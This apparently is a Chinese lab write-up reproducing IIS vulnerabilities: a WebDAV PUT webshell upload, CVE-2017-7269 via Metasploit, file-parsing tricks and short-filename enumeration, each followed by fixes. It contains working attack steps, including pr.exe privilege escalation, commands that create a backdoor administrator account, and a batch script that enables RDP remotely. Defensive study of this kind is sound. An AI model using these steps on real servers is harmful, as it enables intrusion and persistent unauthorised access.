PUT漏洞

前提条件:
IIS 6.0开启了WebDAV并且拥有IIS来宾用户拥有写入权限
复现过程:
IIS PUT SCANNER探测一下目标IIS是否拥有写入权限

YES所以可以利用
先看原来的服务器上面存在的内容

我们利用另一个工具对文件进行写入,我们写入一句话webshell

上传test.txt成功

上传上去是txt格式,于是我们用MOVE或者COPY选项把它改成asp后缀

菜刀连一下,拿到webshell

提权

上传cmd.exepr.exe上去,这二者的用法是pr提权
执行下面这条命令,把当前终端的执行程序设置成我们上传的 cmd.exe

1
setp "路径cmd.exe"

然后我们就可以pr提权,查看一下当前是system权限

于是我们新建管理员账户

1
2
3
pr.exe "net user hack1 123 /add" 新建一个hack1用户,密码为123

pr.exe "net localgroup administrators hack1 /add" 将hack1用户加入administrators管理员组


如果对方开启了3389端口那么就可以用新建的用户登录,如果没有开启那么我们就上传一个bat文件,它可以远程开启目标的3389端口

此时运行利用pr.exe运行3389open.bat,成功开启3389端口,可以连接

附上3389open.bat文件代码

1
2
3
4
5
6
7
8
9
10
//3389open.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg

漏洞修复

关闭WebDAV和写权限

远程代码执行(CVE-2017-7269)

前提条件:
IIS 6.0开启WebDAV
复现过程:
exp下载地址:https://github.com/zcgonvh/cve-2017-7269
下载后放入msf中,路径为/usr/share/metasploit-framework/modules/exploits/windows/iis/
注意文件名中-应该改为_否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)

这里说说我开始失败的原因

这种叫非默认绑定
这个exp可以直接利用,如果是绑定了的,就需要手动输入物理路径的长度和端口即可
目前网络上存在三种脚本,我使用的这种是第二种,区别附图

很明显第一种用处不大,可以用第二种代替,第二种和第三种区别就是需不需要手动输入物理路径的长度和端口,第三种方便,但是第三种不咋稳定我们来看看如何手动输入物理路径长度
现在我们默认绑定

批量检测工具

下载地址:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
检测出了长度为71

然后在msf上设置PhysicalPathLength71即可

提权


输入whoami都不行,是一个低权限账户
再次使用pr提权,利用meterpreter上传pr.exe

然后创建用户hack1并添加到管理员组

netstat -an查看是否打开了3389端口,发现并没有

输入exit回到meterpreter上传3389open.bat

然后利用pr.exe运行

netstat -an查看一下,发现3389端口已经打开

成功登陆

漏洞修复

关闭WebDAV

解析漏洞

前提条件:

IIS 6.0 IIS 7.5
复现过程:
IIS 6.0解析漏洞有两种利用方式
(1)在.asp目录下的任意文件会以asp格式解析

(2);截断,上传test.asp;.jpg是一个jpg文件但是会以asp执行

IIS 7.0解析漏洞
在文件后面加上/xx.php(xx可加可不加)就会将该文件以php格式执行,比如

漏洞修复

(1)限制上传的脚本执行权限,不允许执行脚本
(2)对新建目录文件名进行过滤,不允许新建包含‘.’的文件
(3)不允许新建目录
(4)过滤.asp/xx.jpg,通过ISApi组件过滤

短文件猜解

前提条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
IIS 1.0,Windows NT 3.51  
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
IS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1,Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016
注意:IIS使用.Net Framework 4时不受影响

短文件名特征:
1.只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增

2.后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断

3.所有小写字母均转换成大写的字母
4.长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀

5.文件名后缀长度大于等于4或者总长度大于等于9时才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件

漏洞原理:
访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400
自动化探测:
https://github.com/lijiejie/IIS_shortname_Scanner

漏洞修复

(1)升级.net framework4.0以上
(2)修改注册表禁用短文件名功能快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的NtfsDisable8dot3NameCreation这一项的值设为11代表不创建短文件名格式,修改完成后,需要重启系统生效(之前存在的文件依然有短文件,新建的文件满足生成短文件条件但是不会再生成)

(3)那么之前的文件已经存在短文件名仍能够被猜解怎么办呢?将目录内所有文件剪切到另外地方再粘贴回来就行,相当于新建,这些就没有短文件名无法被猜解了

使用自动化脚本试试

Server is not vulnerable 防御成功
#参考链接
http://www.admintony.com/CVE-2017-7269.html
https://www.freebuf.com/articles/web/192063.html
https://www.jianshu.com/p/354fcf0939cc
https://www.freebuf.com/articles/web/172561.html
https://www.jb51.net/article/166405.htm